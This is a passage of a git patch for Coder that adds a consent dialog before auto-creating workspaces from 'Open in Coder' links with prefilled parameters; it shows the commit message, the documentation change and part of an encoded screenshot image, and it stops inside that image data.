From 60e3ab7632f42415d283b9fd5622ee53a4639ceb Mon Sep 17 00:00:00 2001 From: Kacper Sawicki Date: Thu, 12 Feb 2026 15:39:02 +0100 Subject: [PATCH] feat(site)!: add consent prompt for auto-creation with prefilled parameters (#22011) ### Summary Workspace created via mode=auto links now require explicit user confirmation before provisioning. A warning dialog shows all prefilled param.* values from the URL and blocks creation until the user clicks `Confirm and Create`. Clicking `Cancel` falls back to the standard form view. auto-create-consent-dialog ### Breaking behavior change Links using `mode=auto` (e.g., "Open in Coder" buttons) will no longer silently create workspaces. Users will now see a consent dialog and must explicitly confirm before the workspace is provisioned. Any existing integrations or automation relying on `mode=auto` for seamless workspace creation will now require manual user interaction. --------- Co-authored-by: Jake Howell --- docs/admin/templates/open-in-coder.md | 19 ++++ .../templates/auto-create-consent-dialog.png | Bin 0 -> 53723 bytes .../workspaces/autoCreateWorkspace.spec.ts | 3 + .../AutoCreateConsentDialog.stories.tsx | 84 ++++++++++++++++++ .../AutoCreateConsentDialog.tsx | 70 +++++++++++++++ .../CreateWorkspacePage.jest.tsx | 6 ++ .../CreateWorkspacePage.tsx | 15 +++- 7 files changed, 196 insertions(+), 1 deletion(-) create mode 100644 docs/images/templates/auto-create-consent-dialog.png create mode 100644 site/src/pages/CreateWorkspacePage/AutoCreateConsentDialog.stories.tsx create mode 100644 site/src/pages/CreateWorkspacePage/AutoCreateConsentDialog.tsx diff --git a/docs/admin/templates/open-in-coder.md b/docs/admin/templates/open-in-coder.md index a15838c739..0365075af7 100644 --- a/docs/admin/templates/open-in-coder.md +++ b/docs/admin/templates/open-in-coder.md @@ -115,6 +115,25 @@ specified in your template in the `disable_params` search params list [![Open in Coder](https://YOUR_ACCESS_URL/open-in-coder.svg)](https://YOUR_ACCESS_URL/templates/YOUR_TEMPLATE/workspace?disable_params=first_parameter,second_parameter) ``` +### Security: consent dialog for automatic creation + +When using `mode=auto` with prefilled `param.*` values, Coder displays a +security consent dialog before creating the workspace. This protects users +from malicious links that could provision workspaces with untrusted +configurations, such as dotfiles or startup scripts from unknown sources. + +The dialog shows: + +- A warning that a workspace is about to be created automatically from a link +- All prefilled `param.*` values from the URL +- **Confirm and Create** and **Cancel** buttons + +The workspace is only created if the user explicitly clicks **Confirm and +Create**. Clicking **Cancel** falls back to the standard creation form where +all parameters can be reviewed manually. + +![Consent dialog for automatic workspace creation](../../images/templates/auto-create-consent-dialog.png) + ### Example: Kubernetes For a full example of the Open in Coder flow in Kubernetes, check out diff --git a/docs/images/templates/auto-create-consent-dialog.png b/docs/images/templates/auto-create-consent-dialog.png new file mode 100644 index 0000000000000000000000000000000000000000..a7b4ac070d241b721c01edf8cf68d25a306f8c42 GIT binary patch literal 53723 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 